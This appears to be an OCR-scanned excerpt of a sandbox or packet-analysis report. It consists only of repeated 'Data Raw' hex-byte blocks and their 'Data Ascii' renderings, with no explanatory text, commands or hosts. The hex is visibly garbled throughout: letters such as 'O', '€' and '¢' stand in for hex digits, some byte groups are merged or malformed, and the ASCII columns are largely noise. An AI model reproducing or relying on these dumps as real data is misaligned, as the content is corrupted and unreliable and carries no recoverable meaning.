Data Raw: 80 Oe 59 17 ab ad 6b 0f 34 51 34 8f 74 cc d7 ac fc e9 b8 97 8f c2 b4 e7 41 f2 e8 54 ea f3 6d 4b 00 d7 79 ce fO
€8 96 81 b6 a4 c4 c9 5¢ 6a 39 fa bl Oe a7 54 58 08 dc 6b fb 40 d9 f8 c4 dc b0 4d 6 4a a9 d6 5b 26 Oe ef ef 7b 28 5 6b a2
8c 88 ff be 3b 14 02 d2 6e c2 2e 3e 3f 99 09 49 Oe 07 5b a9 59 1c 2e b2 26 96 4e e6 8d 65 cc 83 1f f7 37 6a 18 75 b8 62
5c b2 01 54 af 46 c¢8 7c 6f f1 2c 75 cc ¢5 c5 4b 54 5¢c e5 8b 6d 78 c8 98 19 f4 33 a2 a5 1a 93 al d8 e8 37 6b dd 56 1a 81
37 75 fb 29 ea 89 12 93 57 f1 4f df d2 54 df 01 a6 88 4a 8a 9d dc 78 13 4a cb 2f 8b bc 28 e4 48 e2 45 47 fb 4f 7a 56 bl 7e
85 c4 44 ea a6 62 45 7d aa b7 fc 75 eb 8b 0b 87 09 56 b8 cd Oc 6f 54 a8 ed 29 4e 05 91 37 c6 37 43 6d 1e 7b 23 80 3c

c4 7a b9 40 39 bd 10 cb 2e 02 85 6¢ 1e b0 14 24 b0

Data Ascii: Yk4AQ4tATMKY\I9TXk@MJI[&{(k;n.>?I[Y.&Ne7jub\TF|o,uKT\mx37kV7u)WOTJIxJ/(HEGOzV~DbE}uVoT)N77C
m{#<z@9.1$

Data Raw: 5d 14 b5 9d f1 a5 52 1c 31 €9 57 e7 e6 2d be 8d c9 41 6¢ 99 e2 d6 a9 86 9d 46 a5 6a 6f ee bc Oe a6 93 34 60
3103 7f 47 ce cc 9e db 56 d5 4c e9 d5 a7 36 a8 41 ce ce 33 83 2e 3b f7 fd 13 f5 f6 el Oa b6 el 7a Of 6f 82 ee 17 01 Oc 21
56 23 28 39 bd 81 68 6f 2e bb 24 bc 92 f7 ca aa 0b 9 f9 f2 23 d3 fb f9 a3 64 0d eb 42 f4 86 54 eb af 03 99 72 06 ba 6e 5d
b6 00 e7 68 €5 64 01 f7 da 25 46 4c 39 a5 ae a7 57 f3 82 8f 39 f8 ce e4 1b fc dc 60 6a 2e 57 26 97 51 a2 98 c8 ca 63 5a
81 3d 54 61 57 3f 64 f3 56 45 ec 4a 7a c9 b6 d7 49 ee 5f a3 f7 83 44 89 ce fd 3e eb 66 75 €8 e2 18 54 97 b7 c5 7 4e 76
50 b4 2b 6e dd fc ec 6e d2 e2 d8 fd 12 f4 1b 4b c4 97 5a 97 36 8e cc a9 b7 1e 57 9e 7a 25 61 €9 c6 2d bd 52 a6 52 76 5d
ab 10 31 c5 c8 af 16 ae 2a 4d 23 83 7c Ob 49 dd aa

Data Ascii: JRIW-AlIFjo4"1GVL6A3.;z0!V#(9ho.$#dBTrn]hd%FLIWI'j.W&QcZ=TaW?dVEJz|_D>fuTNvP+nnKZ6Wz%a-
RRV]1*M#]

Data Raw: 54 4a 17 89 b3 ba 7e 3d 98 e6 e5 03 f1 6f 82 bb 47 fb 6f a4 94 96 93 91 bb f6 1c 10 c5 3d ff 6d 5a d1 b4 94 58
49 d5 f1 84 a8 cf e2 el 6d c5 8e 02 bc d6 48 46 c1 cf 42 ad bd a8 e5 39 9b 3a 7a cf 24 9b 7e d4 73 4d 58 96 a4 8a cl e9
22 d5 ee c8 66 b3 5¢ 60 ea d7 24 ¢9 35 5b 02 a3 6d 7c a9 74 69 a7 73 36 32 81 7d f2 07 78 48 d3 d5 f6 fO ce 3a e2 81 66
45 39 59 ba 24 3 3¢ 00 5c ae f9 b7 6b €3 0d 88 80 a5 02 e5 bd dc 5a 1a d4 cc b7 fO e6 c3 cd d4 d7 d6 3d 49 bl 7a 45 60
9c 59 b4 9d b8 2b e7 0d 23 91 32 15 02 a9 8b aa 45 73 00 42 36 58 €9 98 d8 50 f3 14 d4 a2 36 69 55 5e 8e 90 8c 4e a3
f9 b5 89 f8 €8 16 48 c7 85 c4 a0 55 6b 97 ca 9f 51 9c c3 e4 d7 1c 51 0d b1 6b c7 fd 5d bc c2 61 00 b2 54 93 11 19 de c4
65 0b fa 79 7e 96 d9 Oc dc 4d 3b e0 41 62 93 9f ae 9e cc
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Data Raw: 7d 67 f6 ec 3f af 41 ef ca fO c7 54 38 8b a8 c2 77 2e el e7 a2 8c 8a 5d 34 26 Oc 00 da 46 30 21 21 12 e8 51 65
07 3d 4e @9 48 1b 19 79 35 99 44 78 db 7a c6 7f 65 9d 3c 7c 1b 79 b8 1b 82 c1 29 47 a0 46 d9 73 70 e2 92 2f c8 de c3 c7
f9 e5 98 cf 7d 7e ca 3f d2 e5 36 b2 8a ca 70 al d2 ca 4b 32 dd 5c 0f 1c 63 64 fc 00 21 7a 12 99 d2 80 e4 dd d0 25 93 1f
b2 9f 5a 86 €6 09 Ob 1b b4 ca 03 aa be 53 a4 09 b9 69 02 57 4d 70 e5 d5 51 f7 69 42 c1 83 5b ee 6e ad 95 09 35 7a 85
84 de 16 7a a9 c0 77 3c 5a b2 17 39 67 11 80 13 3e 24 4c 67 80 2d 38 7e 3f 93 32 ba 3b 7c Ob 81 al 6a 7e 8f 6¢ 1a bd
Oc a7 e5 64 36 8d 45 27 a9 de bf ee 87 d7 32 2c e0 f4 42 a5 59 5d 77 f1 09 d7 7c 25 22 4a 3b 45 13 86 05 80 cd 74 9f 05
26 b9 5d 42 dc 65 Oc 42 ba 74 1f 24 e3 f4 02 ¢8 d7 bf cc b3
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Y]w|%"J;Et&]BeBt$

Data Raw: b8 ff 7d 32 d9 7f f9 c9 69 30 4f da 79 ca Oa bb 3a 92 a0 bd da f9 4c cb 3b fa bb 37 07 49 53 fc cc 43 81 cb 74
f1 ce f4 00 43 e5 4f 81 77 56 3a fa ff ¢6 66 27 01 73 a3 8¢ 8e 0a 4c 36 09 15 6a 01 05 21 21 12 c5 23 31 05 44 1c ad 59
18 38 8b 33 4f c1 ad 82 7a c4 06 56 da 3d 78 Oe 6b b7 76 2b 01 08 47 aa 57 d1 00 dd e0 d2 7e c8 47 c1 c7 9 4d el f9 cf
7c ce le 96 5b 31 a3 87 ca 23 a3 d2 ca d5 6e cc 51 82 54 66 75 f9 53 87 7b 12 97 ea b6 2a dc d2 58 fd a6 b0 9b 4f 28 9d
d7 0d 29 b1 db Oe 25 e7 53 a4 4b 99 04 35 57 49 ac eb bb 10 e7 64 51 3c bf 47 fa 72 bb af d4 a0 87 70 f4 96 10 6d 7d d1
0Oa 6f 5d a3 02 16 04 fa 78 c4 e5 2d 4d 6d Of 76 43 40 3c e8 70 b8 bf €9 a7 50 35 17 3b 8e 6e 1d df ab 29 b0 6e 2f e6 27
83 ba d2 9d 3e 28 d5 38 Oe 3b 44 40 af 44 c9 49 3f 08
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Data Raw: 5f 61 09 37 73 29 6e e4 90 a6 2b c8 3e 69 2a ee 41 eb cc c8 83 99 23 d5 37 dc fc 17 30 ¢6 93 7d bb 75 35 41
eb dd fd 19 9b 88 e2 0a 98 fe 44 1c 66 82 ff 09 08 2a f4 4c Of 30 2¢ 38 c0 45 6d 32 c3 88 b9 84 03 b5 37 Ob ee f8 da 8a c9
05 2 99 26 11 ec 69 17 9b 01 bb a1 03 8¢ f3 ae 8a 90 5¢ 89 28 6 79 98 4c e2 7 d2 2f 29 96 2e ae 83 70 06 f4 9a 70 2b
d2 dc fc 0a 88 9f 70 65 35 f1 6f a4 74 9a 91 b3 8d 78 a4 84 62 e2 67 55 4e 3f 98 25 ec ed c5 2a el 18 d7 32 ac 48 e3 1f {7
0c 44 fd c0 07 ff 6d 64 €0 ed 18 54 97 a6 df 87 70 70 49 4e 29 c6 48 {7 cb 34 bc e4 df eb 5 e6 38 49 c2 93 45 8b d3 71 el
99 bc 24 5¢ b7 ¢8 2f 32 49 ¢7 2d b3 40 2f 20 95 5d a9 61 16 08 9 ab 14 ab 1f 51 30 8c 6f 2a 45 c2 74 e2 b0 80 59 cf b ff
66 09 eb 46 2b c3 6b 4b 71 ca 7d dO 3 c9 ba

Data Ascii: _a7s)n+>i*A#70}uSADf*L0,8Em27&i\(yL/).pp+pe5otxbgUN?%*2HDMATppIN)HABIEQSV2I-@/ ]aQO0*Et
YE-+kKa}

Data Raw: 45 9b 3b a7 60 5b cO 17 €8 42 77 c2 93 94 49 46 c2 ca 7a b8 f5 e0 f2 71 38 76 ea 5d eb 77 4b d9 d5 4d b5 87
a8 e5 39 da 2f 0a 8e 22 83 84 dd 4e 4b a5 1b d4 69 ¢3 90 56 62 ec cc 46 93 25 5d 96 8b 21 cf 42 dd 00 a3 67 7e 9c 05
c4 8d 73 3c 1a 2d 7e f2 1c 46 3 fa ce fc fe cf 52 54 ¢2 b2 5d 32 53 c0 78 Oc 3d 28 41 94 el b8 6¢ ea fc 96 9c 59 28 cb b7
3d 23 21 88 cd b3 87 60 e3 cf dd b2 el 4f e4 b7 50 4f 48 32 40 84 90 ae f1 f9 f3 dc 6a 2c 24 00 a4 a3 ac 4a 6¢ 2b cf 89
76 €0 aa ea 53 80 ab c9 80 2f 1b 08 4e 81 8b 9e 98 62 d7 8c 81 8d ea b0 48 cd 97 d1 be 40 el 21 ce f0 91 b6 3b ee b8
6b 78 fe bb dc de ef fa cc c4 70 05 5 65 91 11 19 99 e4 67 Ob fa 07 b3 47 6 0a 50 1d 13 f4 40 71 9f a8 41 8d c3 63 15 88
e4 cd a6 8f 0e 07 d1 b6 63 f5 90 8d a3 82 3a 06 75 95 Oc
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Data Raw: 8c 7b 21 1d 08 11 d7 f2 da 36 7 15 6e 19 61 36 e6 58 86 59 0f 01 99 35 26 4e 7 82 7c c7 7d Of cd 2e 79 27
cd b5 71 58 ad 1b 42 bd b8 d8 5f 65 e5 fa 71 e3 e8 ¢5 cf 7f 73 e5 8a 7d 11 39 15 be fe 15 bd 9e e7 93 b0 d7 de 3a 6a f1
54 04 1a b0 78 e4 21 d1 7f 12 82 58 c¢3 1a dc fe 5b c3 13 a9 88 40 8a 9d d6 7b c6 b5 e6 Ob bb ba 5a 35 45 ff 52 31 57 5¢
7f 43 al ea f7 45 4d e3 bd 4e 65 c8 98 55 f5 3f 69 8a Ob 96 13 61 55 ¢3 20 7b 70 59 0f 3b 67 00 96 3e c5 da 4d 41 06 07
59 7e 3d e2 7f a2 28 7d bc 01 ca Oe c5 8f 40 18 ae 14 2f aa 77 33 8¢ 45 2b af 2c 96 3a 84 cf 2b 01 13 e5 47 b9 b0 d0 Oa
f2 1e c5 51 d6 33 4f 2e 67 74 87 29 88 5 7a b6 52 ce ca f3 45 b3 07 24 b1 b0 5e 15 2c d4 e0 09 e6 df 80 bb 4a f3 78 23
2177 2 92 35 4b b7 4c 1e 2a 2d ff 5a c2 bb 95 42 44 cd
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Data Raw: 21 b7 97 c1 69 6e 88 d9 a9 aa 86 €9 9c 83 09 f9 f9 ce a5 1a 8 f3 b3 33 b7 e9 42 f4 98 69 da b1 21 9e 6a 95 f1
90 5¢ 9b ba 4 5b 9 58 f6 df 42 2f 29 8d 2c 8d 63 28 06 5 95 03 2d fe d1 fe 1b d0 cd 52 73 27 f3 89 96 7d 82 38 a2 a9 76
4e 91 66 60 63 57 3f 68 b1 €9 eb ee 4c 66 6¢ 1f d5 49 e5 5d 7 0f 51 23 76 d1 de 05 5 66 64 ed e9 ea 5c¢ af 8c Oc 8f 70
71 47 3d 2f ea 4c e2 2 0d a6 c7 ce eb 87 b6 14 4b d4 3a 54 af dc 9b f4 9d 26 Of 5e 96 7f 05 82 09 c6 2b a0 ce a7 7a 95
5c b8 38 4f 2b df b8 9¢ 60 35 51 31 2e 6d 38 52 d6 88 ca 28 80 59 c4 a8 c6 bc 19 ef 78 ef 4e 6¢ 4b 71 da 6d da 19 e0 Oe
90 a0 bd e3 e0 3f 66 33 €9 ba Oe ad 63 f0 f6 dd 4d da 82 77 f1 c2 b3 fd 41 e5 4f b8 cb 20 36 fO ee d8 66 21 fa 26 a3 8c 97
59 e1 36 09 17 ce 63 c7 f1 a3 18 67 09 4d 13 3f

Data Ascii: lin3Bilj\[XB/),c(-Rs'}8vNf cW?hLfll]Q#vfd\pgG=/LK: T&" +z\80+ 5Q1.m8R(YxNIKgm?f3cMwAO 6fl&Y6cgM?

Data Raw: c4 50 6¢ bl 2d 76 1f d3 20 c9 50 df ce al 67 67 84 c¢8 c6 a5 79 2d 06 3a 57 0d 0f 50 fe ¢7 58 fb f9 d8 ad 41 fa
a4 6d al 53 c7 64 da c9 00 43 85 fc 90 a5 f0 02 9d 98 94 01 c9 96 6 ed 5a d5 c6 9f 9e 5b dd d9 6 75 b8 4e e2 a5 7 48
48 32 5a a0 83 ba 43 63 f3 dc 64 05 83 11 a6 81 a8 50 7d 3d a8 1f 8b e2 a0 e6 47 7e 13 cb 80 24 72 41 5b a9 17 9d b0
a8 fd 7f 8f fe 62 a7 60 b4 86 d5 a2 7f ab 21 d6 8b 78 Oe 3f e4 d1 00 f4 f9 bl 6b cc fe c5 f9 ea f9 01 9a ad 87 39 ce f4 27 63
13 7d 11 b5 97 d8 19 73 0d 18 6 68 38 97 80 ba 2f d2 4a d4 b3 18 dd a0 98 a9 24 2b 7c 7b fO bc 39 a4 93 34 41 8f 95 Oc
e0 e4 2f 95 3 ff c4 57 f1 d8 3f e4 aa 4b cd ee 43 ca be 12 29 f3 0b ad 46 6 24 b2 fe 5f 73 3d 82 ff 12 c2 52 ¢8 56 0Of 31 28
d5 d0 7a 7e 30 e0 c1 bc 92 fb 9c el 08 9 f5

Data Ascii: Pl-v Pggy-:WPXAmMSdCZ[uNHH2ZCcdP}=G~$rA[b"!x?k9'c}sh8/J$+|{94A/W?KC)F$_s=RV1(z~0

Data Raw: €5 9b 6b 61 d1 ea bf d8 10 b2 80 8d 8e a0 d2 c6 d2 04 28 5d 0d 07 09 68 fa 28 c4 62 7d 66 5c d9 ee b2 cd 5f
d5 18 al 95 5a aa 9f ¢4 67 29 a3 d5 20 54 bf 7f b8 58 f2 50 38 7f b5 7e 5c ae 3c Oc 68 46 ec 84 98 €9 7f a0 d2 d7 34 7a
89 14 a3 05 6d ab d3 1b 61 45 4c 12 04 4c 11 8a 54 c0 25 4c 6b 19 1b cd 7f 3d €2 1b a6 3a 78 ba 07 a0 e2 3a 8e 66 71
b1 06 2b b6 73 59 79 55 2e b2 bd 88 17 87 d1 2b Ob Oc eb 51 b8 4e c0 31 ee 1c 28 55 fa 02 5b 38 7c 80 9e d3 e5 Of 7d
8e 08 5e d9 Oc 42 d6 7c 4b a5 b8 74 1f 58 0a e5 09 d3 d2 9f ad 5e e5 78 23 34 e6 61 6f ba dO 7d 4a d4 2c fO 5a 8d c6 bb
92 61 bc cb ca 7c 81 31 €9 d9 60 57 4e fc a3 ec 44 6¢ d2 c9 4d a3 86 4b 1a 14 f4 3e 17 9d 31 85 69 cb 62 58 99 06 d6 74
c0 c7 00 72 f8 df ba a2 33 41 c1 c4 37 cf 57 e0 19 5d 66 41 a5
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tr3A7W]fA

Data Raw: 91 9b 3b eb c0 e9 86 44 e3 9a 98 ce 80 de bc 7d c2 ae b3 8a 62 5a 85 4e ab 63 57 35 77 99 25 e8 b0 4a 70

el 0ad5 49 e4 54 e3 1b 78 bb 76 d1 d4 b0 e4 66 64 8a fb e6 55 bl a6 c¢7 8c 7f 77 50 b0 35 ea 4c e2 d7 2c c9 f5 d9 fd 01
O 3c 98 d7 98 4f a6 c8 8f f3 85 bc 0f 6¢ 9¢ 6b 2d 4c 0a c6 3c al 48 8b 61 95 5a be e4 5f 25 cb b7 1b 31 32 47 ce 8d 50 18
51c99ce5a8 7e 58 e2bec572310c7c8217 69 4b 7b a5 68 cf 0d c2 be 86 al b7 c1 db 3f 66 2a ca b3 1f 98 4b 53 f6
d8 47 2 69 60 fa ef c7 af 46 f2 bb a8 eb 56 22 fb ee ¢4 61 d4 8f 06 al 9b 87 71 Oe 2f f7 10 f1 6¢ f8 23 Oa fb 65 73 b1 05 3f
55 84 ad 1d 31 9c 23 67 4f dd 9c 78 ee aa 1c db 37 56 04 56 b3 71 e6 ad 0a 47 af 47 d9 62 Oe dO d2 74 ea e2 c0 b4 c3
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6a 57 23 bc 37 6b ¢3 88 19 50 f3 12 el ee 5b 07 54 4f 85 90 8a 2a 87 f8 83 ad el 73 91 16 ¢5 84 d5 b7 76 cf c9 cb 9f 56
9e 55 9a b6 17 79 fa ae 73 57 cf fc e2 e4 7e 19 ba 24 91 11 13 €9 01 4d 2 f1 16 b3 bd b7 74 31 1d 3b e4 5f 68 Of a5 91
82 e5 76 da bb 4b de a0 9e 14 12 20 91 6e e4 92 8b ca ed 5f 68 28 91 13 f0 56 €9 b9 fc df ¢8 56 c3 2d 15 34 a8 54 e2 fc
5c 35 41 eb dd 93 67 €9 b9 e0 Oe ad e5 de 39 4d 8d d9 07 05 01 2a 55 0f 37 24 e2 e9 90 6e 2a ce a2 dO ec 9c b5 1b 0d
e6 ef 40 a8 fc f4 d5 aa 38 1a f7 41 f4 99 65 d9 88 fa 89 7d 1f 8a fe 22 fb 19 e5 7d 2 51 78 d2 f7 20 0Of 98 25 85 92 28 06 {3
9d af 02 07 dO ff Oe d9 b2 0f 04 30 7f dc 89 63 19

Data Ascii: DWjIJ{ONSKjW#7KP[TO*svVUysW~$Mt1;_hvK n_h(VV-4T\5AgIM*U7$n*@8Ae}"'}Qx %(0c

Data Raw: 13 d7 5f 71 a7 32 €9 2d 66 04 a9 4a eb 60 b8 95 13 34 7a 89 21 €9 68 1b aa c2 08 61 le 28 36 05 6d 26 98 7e
fd 24 4a 6d Of 6b 2b 56 c4 €9 74 bd 11 12 c2 71 ce 17 3f 91 2a 84 89 2a 25 96 7b 70 ac 47 28 b8 d2 8f 3e 7e d6 38 02 39
9e 3c ce 4f d1 22 ee 4e 4c¢ 71 fb 2c 6¢ 2e 2a aa 93 03 8a de 62 a6 fb 30 35 Oa 68 b2 1a 45 b0 ba 70 Oa 7f 7e cO 24 d6 f9
9f f3 6d ee 7e 32 23 e6 54 b9 42 fd 61 5d ee 57 85 13 74 c2 bf 8b 00 dc ef e7 74 8f fc a2 f9 47 3e 71 fd be c2 a2 48 c1 d8
67 d8 ef 37 e5 15 dc 27 4b 14 00 b6 74 fa 7d 03 ae 2d f9 8a c1 fc 22 9a ed c8 6a 9b 4d 20 8a d6 20 cb 59 bc 9a 86 4a 63
8a 18 8f 85 46 3a 1a 2e 62 da f4 51 f8 d7 ff 96 87 b9 ad 55 ea af 09 a3 76 ea 60 d4 23 48 63 bf ec b8 6b e8 2a 6e b1 5b
05 e3 f6 a0 40 5b d5 c8 ac ce d0 e4 e0 d0 e9 a3 03 c4

Data Ascii: _q2-fJ"4z!ha(6m&~$Imk+Vtq?**%{pG(>~89<0"NLq,|.*b05ShEp~$m~2#TBa]WttG>qHg7'Kt}-'jM YJcF:.

bQUV #Hck*n[@[

Data Raw: 5d c6 8c 76 5d 3a ce 49 eb 4c e7 fe 5a 2d c1 f5 f3 2d f8 60 6b fb 90 45 8¢ dO a7 19 b4 be 09 74 6 15 4c 48 Oa
€232 c2 d9 8557 9b 7b b4 6f 7e 39 c1 af 10 28 1d a8 31 8¢ 7a 30 2c bc fd €3 b0 84 46 b8 26 cb 5d 14 c9 61 8f €3 58 43
71 db 62 e6 f4 c9 96 96 8a dd b5 90 3e 66 3d e5 c6 85 8d 66 5d dO c2 30 d2 40 7e f1 c4 c0 87 b8 e4 45 af ed 3e 44 91 ef
¢3 73 35 f6 b0 86 al 82 57 16 4f 29 2f d5 6e d3 3c 09 el 66 08 63 2d 55 21 cd 58 1c 35 85 4c 03 6b da 8c 5¢c d9 04 3e 9e
35 7c¢ 1f 7f 9d 88 59 ad Oc 6d ce 38 b8 72 70 e6 cd Oe 7a cd ee c8 d5 43 9f aa 34 76 ce 14 al fd 1b 5a 8c e2 95 8b b8 be
a5 6a dd 58 12 76 fc 50 d6 26 e4 65 69 b3 Oc d1 e4 dd c5 76 2c 1f b2 9d 6f e0 f2 b2 66 38 b0 d5 7f 30 9b 7e aa 6f fd 3d 14
05 45 7a 5¢ bf 3c 0f 68 46 ec 86 20 95 1e ab bd ee

Data Ascii: V]:ILZ--'KEtLH2W{0~9(120,F&]aXCqb>f=fl0@~E>Ds5W0)/n<fc-UIX5LK\>5|Ym8rpzC4vZjXvP&eiv,0f80~0=Ez\
<hF

Data Raw: fc b1 a2 d1 ac 16 fe 64 bl d2 e2 a9 c4 8e 73 7a 30 ca 9f 70 f7 32 e4 d7 0d 51 07 b0 6b cb c0 53 93 a3 60 01
9e 87 0d 11 13 f6 bd 40 26 e1 30 95 09 d9 0a 50 3c 73 €9 40 71 8e a8 45 8c c3 6f €9 19 9c bd al e 0Of 15 97 68 6f e4 Oe
8489 82 18 49 b7 95 Oc ea ec 81 9d f3 f9 ce 64 la fc 17 32 82 c9 b9 b5 a4 34 45 cd 57 fd 19 88 22 c5 27 a3 d8 64 bc 60
82 ff 38 4e 28 df 57 12 1f c2 c7 c1 6f 45 ac b6 e9 bf 92 f9 94 ba 09 f9 3 40 a8 fc e9 d5 95 85 3a ee 42 d4 ce 73 f8 a0 1c
8255 e0 al 90 5a b0 9a 9b 18 ec 4c e6 d7 78 2f 29 87 a2 80 85 3a 20 d3 20 8e 2a fe f1 9e 01 f3 dc 6¢ 4d c8 7e d8 90 57
05 e4 d2 8b 62 5e a5 ed f8 63 57 af 59 b4 37 ce ce €9 70 el 18 f5 21 ed 49 e3 04 2e 93 8f dO d4 2b ce e4 1a 86 fb e6 51
9b 00 ¢7 8¢ 70 ed 75 9d 39 cc 6¢ 47 el 2e b7 c4 67 f4

Data Ascii: dszOp2QkS  @&0P<s@qEohold24EW™d 8N(WoE@:BsUZLx/): *IM~Wb*cWY7p!l.+QpudlG.g

Data Raw: 1f ac 01 01 36 1a 57 8d 54 2a 98 16 97 16 87 4d 1d 29 01 d2 62 6b 4e d1 26 d1 a6 dd 54 d6 3d 46 19 94 8b
86 03 a0 58 01 ef 03 31 31 2c 87 dc 64 24 2b 9f 59 07 11 c4 20 09 d9 df a0 00 46 f2 78 2d 07 d1 bc 90 bb fa 4b d9 ba 5¢
fa 72 71 e2 7d 94 49 46 50 ef 57 b8 c5 cb 1f 6a 38 71 dd 7c el 5b 49 d9 f6 b4 b3 91 50 ce 97 a6 59 00 8e 21 bb bd dc 62
49 14 3c d2 9b e7 cb cd 63 ec ¢8 4c 50 2c 5e eb ce 08 36 47 f7 06 89 el 13 cd 06 c4 al 53 f4 1a 2e 7f 68 28 7d ea f7 {5
34 f9 d8 ac 75 0a bb 45 39 4c df 46 Ob 3d 04 45 a9 6¢ c6 Oa f3 02 93 90 92 03 c9 9c 44 04 77 c¢7 ea 93 4a 4acl cd fe 33
b7 4e e4 ac 77 67 b1 33 5b b2 bd 2c 15 9a f2 dc 6a 0d ee 11 a6 8b 21 6f 41 30 9a 17 be e0 a0 e0 71 fa 18 cb 80 3c 4e ac
4e 81 89 b7 32 dc b4 8d 8b fa 44 7a 48 c7 84 4f 8d 7e f6 16

Data Ascii: 6WT*M)bkN&T=FX11,d$+Y Fx-K\rq}IFPWj8q|[IPY!bl<cLP,*6GS.h(}4uEILF=EIDWJI3Nwg3[,j'oA0q<NN2
DzHO~
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Data

Data Raw: Oe 52 52 ¢3 Oc 78 71 20 6d 49 63 00 83 1b 07 24 4c 6d 95 51 15 6b 1b c8 ae bb 3b 78 9¢ b9 ¢3 17 3b ae 7f 1f
ac 07 03 49 65 36 8a 7e ac c6 b3 96 16 83 f7 €3 04 13 f4 d8 8a 63 c0 00 d1 d2 d6 54 d6 02 f6 3c 6d 8a 98 2d 73 df 7f 88
28 b3 4b 6d 43 dc 60 04 6d ba 74 15 ad c1 c8 18 ff ff 5¢ bb 4d f2 58 f6 2e f9 45 8f 93 05 60 5b c2 17 79 Oc 14 c3 bb 90 69
9b ca ca 7a 33 c6 c6 c8 4c 18 ac fd a3 ea 7b 85 cc de 4d ae b9 af e5 15 de 12 87 f0 44 9a 7a d8 42 97 8e 19 ff 10 e4 c6
18 45 cc 16 6¢ b1 27 7e 39 da 20 cf 59 fe 28 5a 66 6d aa 2d 42 db 12 3d 1a 2a 5f 2d 0d 50 f8 4b fO d1 eb fe 8c 8a ee b0
45 19 88 ca 6e f2 23 5d 6b 7a eb b8 6d d8 84 €9 d1 5a 03 cd bc 3e 21 5a d5 56 96 ae 58 e7 ed 3e cf bc 4e c4 87 74 4f 48
2d 65 9c 6e af 6b fd d9 5a 10 4c 25 11 a2 ab 5a 4a 6¢

Data Ascii: RRxg mlc$LmQk;x;le6~cT<m-s(KmC mt\MX.E [yiz3L{MDzBEI'~9 Y(Zfm-B=*_-PKEn#]kzmZ>!ZVX>NtOH-
enkZL%ZJI

Data Raw: 82 6d 75 c9 8f e6 9f 38 71 3f 9d 6b 29 69 0Ob c7 2d b7 d9 85 57 87 7b 8b 1b 5f 09 c9 8f 8f 3e 35 51 2f 80 54 €3
47 c2 9a c8 32 fe 38 cf bc ea 50 18 ee 7e f9 59 4e 66 60 fd 59 cc Oc ¢8 96 b0 Ob b8 cb f1 21 4e c0 fb b1 19 82 c9 2d 97 dc
47 16 58 75 f0 c4 dc 35 64 c8 54 8f e7 57 3b fO ee e3 ¢4 25 8e 2a bd a4 75 70 09 31 23 93 a3 0f d2 21 25 38 63 09 65 07
a5 7a 81 48 3a 11 9e 34 99 4e d7 39 75 c6 7d 07 3 c4 7d 1f 60 9f f3 26 cc Ob 47 a4 66 dc 72 70 e2 48 51 cd f9 e5 e7 f6
5d e5 8a 5¢ c0 c1 14 be ed 1b 5a 8c e2 95 8b 50 be a5 6a dd 58 2d Ob 67 75 fb b2 e7 57 03 b5 7d df 5 dd d2 7e 14 11
b2 9b 5f a2 75 d2 67 3e 9e 48 7d cb bf 53 a0 69 e5 40 34 57 d7 5f 71 b9 32 d6 6e 47 ea ac 6a 2e 70 aa bd f2 1d 83 8e Ob
81 3c f8 d5 a3 0d 7e 5f 92 1b 29 62 00 1d 1e f0 35 6a

Data Ascii: mu8q?k)i-W{_>5Q/TG28P~YNf Y!N-GXu5dTW;%*up1#!%8cezH:4N9u}} &GfrpHQ]\ZPjX-guW}~_ug>H}Si@4
W_g2nGj.p<~_)b5j

Data Raw: c4 5f 07 79 fe ae 7e e5 13 dO ed c4 4b 87 e4 c6 92 11 17 d6 Of 64 Ob fO 8c 90 ba cb 2c 70 34 3a e0 40 51 08
91 bc 8d dc 7d eb 62 e3 dc a6 b4 8d 4b 69 69 6f e0 b4 88 a5 93 3e f3 0d b8 1e cc ec e5 95 f3 f9 f7 fd f2 fd 17 2b b6 63 3e
d5 a5 32 6b 6f 89 9¢ 18 88 bc c0 20 b3 fe 44 86 45 af ee 3e 3e Ob de 57 0f 17 f4 d7 c1 69 74 02 31 89 be 94 d7 32 65 68
8 f3 de ad fa fa f3 b5 be 1f ¢3 50 d2 b9 51 f9 a0 03 a8 a9 08 a0 90 43 95 30 1c 78 ed 4a c8 71 a4 4e 28 87 3c 85 84 2a
06 f3 18 ab 07 ec 7 df 24 f2 dc 71 45 d2 6e d8 96 62 88 b2 4a 8b 62 5c af c8 86 02 56 35 78 b9 08 €9 ee 4a ea c4 35 c7
6f c4 64 e2 1b 79 9b 98 c0 d4 2d fb 73 4c 1e fb e6 53 91 26 b9 ed 71 77 54 90 06 eb 4c e3 7b Ob 9a f5 fe dd 25 e6 14 4b
5 9b 57 8c 8 93 c8 4c bf 0f 58 b6 ed 53 28 Ob c6 29

Data Ascii: _y~Kd,p4:@Q}bKiio>+c>2ko DE>>Wit12ehPQCOxJgN(<*$gEnbJb\V5xJ50dy-sLS&GwTL{%KWLXS()

Data Raw: 4e 4b 03 dc 18 f0 74 98 23 4a 31 4d 66 95 05 8a c3 57 77 03 31 33 26 c4 a2 05 25 bl be 54 5a 36 e4 e5 93 fc
f2 92 9d 6d bd 79 32 23 d9 b6 82 bb fc 7e 4a ec c4 fa 72 73 e8 39 ea 28 47 ca ce 5a f9 e2 eb d9 fO 1d 5c ec 85 ca Ob 48
c1 de 6d b6 85 56 e4 09 fO c1 00 8e 23 bl fc a2 03 48 8e 1d df db cO eb 0a f9 c9 e5 7e 97 07 Of ea d7 20 ef 4c €3 00 a3
78 7d 84 fe c5 a5 75 16 98 50 1e f3 0d 54 d8 83 d4 fc f9 42 89 78 ff 96 65 6b 52 c7 6e d2 26 10 43 83 f4 90 92 f3 02 91 9a
dd 7d a8 9d de 25 7a 86 cd b3 83 d0 e4 e0 cc e9 9c 1d e5 b3 7a 6f 6a 26 5b b4 88 8f 43 02 f2 dc 68 07 a2 6f c7 8a bb 4e
4c 75 bd 37 74 7a 85 cd 43 d5 34 9f 81 25 66 75 Oc 95 8f 9d af ab fd 75 8a fe 62 9b ce b9 e5 d4 a8 57 c¢7 65 cb 9f 50 2e
le c9c5 3059 ab b0 6b cd ca 9d f9 c2 61 1e 89 8f 6a

Data Ascii: NKt#J1MfWw13&%TZ6my2#~Jrs9(GZ\HmV#H~ Lx}uPTBxekRn&C}%zz0j&[ChoNLu7tzC4%fuubWeP.0Ykaj

Data Raw: 53 48 73 a9 97 90 a4 97 be f0 3f 66 a3 df 9c Od 8e 6b 26 7 dd 47 d2 a2 63 f1 c4 c3 al 69 1c 44 a9 cl 7e bc 8e
8f c2 77 2e ae 5¢c a2 8¢ 8c eb 2c 1a 1b 37 fd 18 d2 21 21 38 8f 1d 65 07 20 4e 84 a0 1d 31 9c 1f 1b 30 96 83 7a c2 5d 69
da 3d 7c 85 43 98 60 7e 8d 7d 46 a0 46 f9 8a 65 e2 d2 6a c8 11 c2 c7 f5 76 63 f4 1d 7f ce 10 9e 8c 32 a3 8d 78 b6 8¢ cO
